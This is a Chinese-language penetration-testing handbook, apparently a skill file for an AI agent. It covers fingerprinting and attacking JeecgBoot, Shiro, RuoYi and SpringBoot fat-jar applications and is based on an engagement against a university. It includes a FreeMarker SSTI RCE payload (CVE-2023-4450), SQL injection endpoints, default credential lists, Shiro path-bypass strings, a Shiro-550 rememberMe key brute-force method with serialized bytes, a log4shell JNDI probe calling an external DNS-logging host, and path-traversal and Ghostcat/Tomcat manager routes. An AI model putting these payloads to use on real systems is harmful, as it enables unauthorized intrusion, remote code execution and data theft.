- name
- java-web-framework-pentest
- description
- Java Web 框架渗透实战手册——JeecgBoot/Shiro/RuoYi/SpringBoot fat jar 的指纹识别、攻击面地图与路线生死判定。当目标出现 getEncryptedString/jmreport/sys/dictItem 等 JeecgBoot 特征、rememberMe=deleteMe(Shiro)、com.ruoyi.* 报错(RuoYi)、app.jar 路径泄露(fat jar),或需要判定"上传能否 getshell/图片马是否可用/Shiro-550 怎么爆"时加载。覆盖:JeecgBoot 认证前攻击面、Shiro-550 key 爆破正确 oracle(公开模板字节是错的)、fat jar 上传死亡三件套、图片马 Java 适用前提、RuoYi 越权矩阵与鉴权错乱专项、RCE 穷尽记录法。
# Java Web 框架渗透实战手册(JeecgBoot / Shiro / RuoYi / SpringBoot)
> 2026-08-08 某高校(RuoYi 二开 + JeecgBoot 二开)三天实战固化:12 条 RCE 路线全实测排除 + JeecgBoot 指纹实锤 + Shiro-550 oracle 假阴性血泪。
> 使用方式:指纹命中后按对应节逐条实测;每条路线给出"成立信号"与"死亡信号",见死亡信号即止损换路线。
## 1. JeecgBoot 指纹(一锤定音级)
- **报错格式**:`{"success":false,"message":"操作失败,Required String parameter 'xxx' is not present","code":500,"result":null,"timestamp":...}`——Jeecg Result 类 + Spring 参数缺失格式组合。
- **路径风格**:`/sys/login`、`/sys/dictItem/list`、`/sys/category/loadTreeRoot`(pcode 需传**真实空格**让客户端编码,`%20` 会被当字面量导致空结果——姿势坑)、`/sys/user/register`。
- **实锤级**:`GET /<context>/sys/getEncryptedString` 匿名返回 `{"iv":"1234567890hjlkew","key":"1234567890adbcde"}` = JeecgBoot 官方源码硬编码默认登录加密参数原文。看到即定。
- 附带可报低危:登录密码 AES 加密形同虚设(key/iv 公开,密文可逆 = 明文传输)。
- Shiro 认证特征:任意受保护路径抛 Tomcat 500 页 `org.apache.shiro.authc.AuthenticationException: Token失效,请重新登录`(500 页全文栈 = 版本指纹富矿,footer 有精确 Tomcat 版本号)。
- context 前缀可变(官方 `/jeecg-boot`,二开常见自定义,本例 `/ky`)。
## 2. JeecgBoot 攻击面地图(认证前)
按历史公开 NDay 逐个试。**全 500 Shiro 页 = 防护基线良好 = 认证前榨干的信号**。
| 面 | 端点/姿势 | 备注 |
|---|---|---|
| jmreport SSTI RCE(CVE-2023-4450) | `POST <context>/jmreport/queryFieldBySql` **或** `<context>/jeecg-system/jmreport/queryFieldBySql` | **两种挂载都试,一个 404 不代表没有**;payload `{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami\") }'"}`;`?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123` 为部分版本自有鉴权绕过 |
| 核心 SQLi | `POST /sys/duplicate/check`(tableName/fieldName/fieldVal);`GET /sys/dict/loadDict/<table>,<field>,<id>,1=1` | 老版本匿名可达 |
| 枚举/信息 | `/sys/checkOnlyUser?username=`、`/sys/user/queryByPhone?phone=` | 响应差异 |
| Druid 监控台 | `/druid/login.html` + `POST /druid/submitLogin` | 弱口令 druid/druid、ruoyi/123456、admin/admin、jeecg/jeecg;Shiro 包裹时 submitLogin 抛 500 = 未认证不可触 |
| knife4j | `/doc.html`(壳常开)+ `/v2/api-docs`、`/v2/api-docs-ext`、`/swagger-resources*` | 壳开数据拦 = 拿不到清单 |
| 注册链 | `POST /sys/user/register`(username/password/realname/phone/smscode) | 发码 `/sys/phone/sendCaptcha` 若也要认证 = 校方锁死自注册(死锁);Redis 校验变形:双 null/缺字段/空串/字符串"null",全报"验证码失效" = 严实 |
| Shiro 路径绕过 | `;/`、`//`、`/./`、`%2e`、`..;/`、URL 编码 | **Tomcat ≥9.0.30 默认规范化 400/404 全挡**(9.0.39 实测 11 种全灭),别抱期望 |
| 断连 000 | 带敏感字段值请求连接重置 | 疑似 WAF 关键词/服务端异常分支;换姿势/换出口复测排除本机被封 |
## 3. Shiro-550 key 爆破 oracle(血泪:公开模板字节是错的)
- 原理:rememberMe = AES-CBC(key).encrypt(序列化对象)。key 对 → 解密+反序列化成功 → 响应**无** `Set-Cookie: rememberMe=deleteMe`;key 错 → padding 失败 → deleteMe。
- **oracle payload = 空 SimplePrincipalCollection**(Shiro 核心类必有、无 gadget 依赖、对目标无害)。
- ⚠️ **网传硬编码模板字节多处错误**(类名长度 0x33 实为 0x32、SUID `a8f58a5bd3350fd4` 实为 `a87f5825c6a3084a`、尾部结构差字节)——**用错模板 = 全 key 假阴性**(本案例第一轮 41 key 全灭即模板错,差点误判"key 不在字典")。
- **正解:本机 Java 实生成**:maven 拉 `shiro-core-1.2.4.jar`,10 行代码 `ObjectOutputStream.writeObject(new SimplePrincipalCollection())` 打印 hex。1.2.4 实生成正确字节:
`aced0005 7372 0032 6f72672e6170616368652e736869726f2e7375626a6563742e53696d706c655072696e636970616c436f6c6c656374696f6e a87f5825c6a3084a 030001 4c000f 7265616c6d5072696e636970616c73 74000f 4c6a6176612f7574696c2f4d61703b 78 70 70 770100 78`
- **双模式都要试**:iv=key(老版 CookieRememberMeManager)与 iv 前置(cookie=iv+密文)。
- 字典:Mr-xn/Penetration_Testing_POC 的 `shiro_keys_200.txt`(198 条 16 字节 key)。
- 判定:`rememberMe=deleteMe` 机制确认但字典全灭 = 自定义强 key,**停手**(无字典可破,别想当然扩大爆破)。
## 4. SpringBoot fat jar + 前后端分离:上传 getshell 死亡判定
- **fat jar 证据**:报错泄露 `/root/ruoyi/app.jar` 类路径 = fat jar 部署 = **无外部 webapps 解析目录**。
- **死亡三件套**(全中即此路不通,别再试后缀变形):①直接 URL 访问上传文件 → SPA fallback 壳;②下载接口拿回 → 源码原文(`<%= %>` 标签原样,octet-stream);③API 前缀路径 → 401。
- **图片马在 Java 环境无 PHP 式 include**,仅两个场景可用:**AJP Ghostcat 包含**(CVE-2020-1938,Tomcat <9.0.31/8.5.51/7.0.100 且 8009 对外开放)与 **Tomcat manager war 部署**(/manager/html 可达+弱口令)。两前提都不满足 = 图片马直接放弃。查法:500 页 footer 拿 Tomcat 精确版本 + socket 扫 8009/8080 + curl /manager/*(注意 nginx SPA fallback 会吃掉 manager 路径)。
- **上传真实危害降级**:任意类型托管 + 官方域名分发链(钓鱼背书)——jsp 探针实测可传可下载即可定中危;exe/HTML 类推标【推演】。
- **路径穿越写 oracle**:往 `/proc`、`/sys` 穿越上传竟返回 200 = **假拼接路径**(响应里的路径字符串是拼接的,实际存储做了规范化/静默丢弃)——别被 200 骗;回拉验证(下载接口拉所有候选落点全 0 字节)才是真相。穿越读同理:`companyFiles/../../etc/passwd` 类以白名单前缀开头的变形试全,全 0 字节 = 白名单在规范化后校验。
## 5. RuoYi 二开速查(小北就业系等)
- 指纹:报错 `com.ruoyi.*` 栈、登录接口形态(base64 密码 + role 参数)、JWT、Spring Security JSON 403(`{"timestamp","status":403,"error":"Forbidden"}`)。
- **认证后越权矩阵**:自注册账号 token 调 `/system/user/list`、`/monitor/job/list`、`/tool/gen/list`、`/monitor/server`——全 403"没有权限,请联系管理员授权" = @PreAuthorize 配好(RuoYi 后台 RCE 无望);任何 200 = 越权金矿。
- **鉴权错乱专项**:找"匿名放行但 token 反 403"的接口(本例 `/afd/ftp/download`)——配置错乱实锤信号,报告里是高光成立点(比单纯"未授权"更有说服力)。
- 兄弟接口对照:`/afd/student/resume/list` 403 vs `/afd/student/joinMeeting/positionList` 全量放行 = 权限漏配实锤范式。
- 前端 `noLogin`/`anonymous` 前缀接口 = 设计匿名版(对应登录版路径并存),返回公开数据不成立——成立性判断走 vuln-report-reviewer §1 成立性预审。
## 6. 穷尽可能性记录法(证据文档加分项)
RCE/getshell 目标未达成时,用 **"路线 × 实测结果 × 死因"表格**全量记录(本例 11-12 条),每条附关键证据(500 页版本 footer、dnslog 0 记录、403 响应原文、字典规模)。审核员/复核者最信任诚实排除——它把"没拿到 shell"从失败变成攻击面画像资产,也是下次换思路时的防重复测试台账。
## 7. 杂项工具坑
- playwright 截图:`channel="msedge"`/`"chrome"` 复用本机浏览器免下载二进制;`ignore_https_errors=True` 过自签/链不完整证书(browser 工具无此参数时改走本地 playwright)。
- Kali 后台任务:`setsid bash -c '... >log 2>&1 < /dev/null &'` 脱离 SSH 会话(nohup 会被 paramiko 30s 超时带走),产物写文件轮询取回。
- log4shell 无害探针:dnslog.cn `getdomain.php`(带 cookie)→ UA/XFF/JSON 参数插桩 `${jndi:ldap://<sub>.dnslog.cn/a}` → 90s 后 `getrecords.php` 查——0 记录 = 不存在/已修,如实排除。
- MySQL 公网面:nmap `mysql-info` 拿版本/插件/Salt 无需账号;root 远程 4 组最常见默认组合被拒 = 防护正常即停手(继续爆 = 真实账号攻击区)。
Ver no GitHub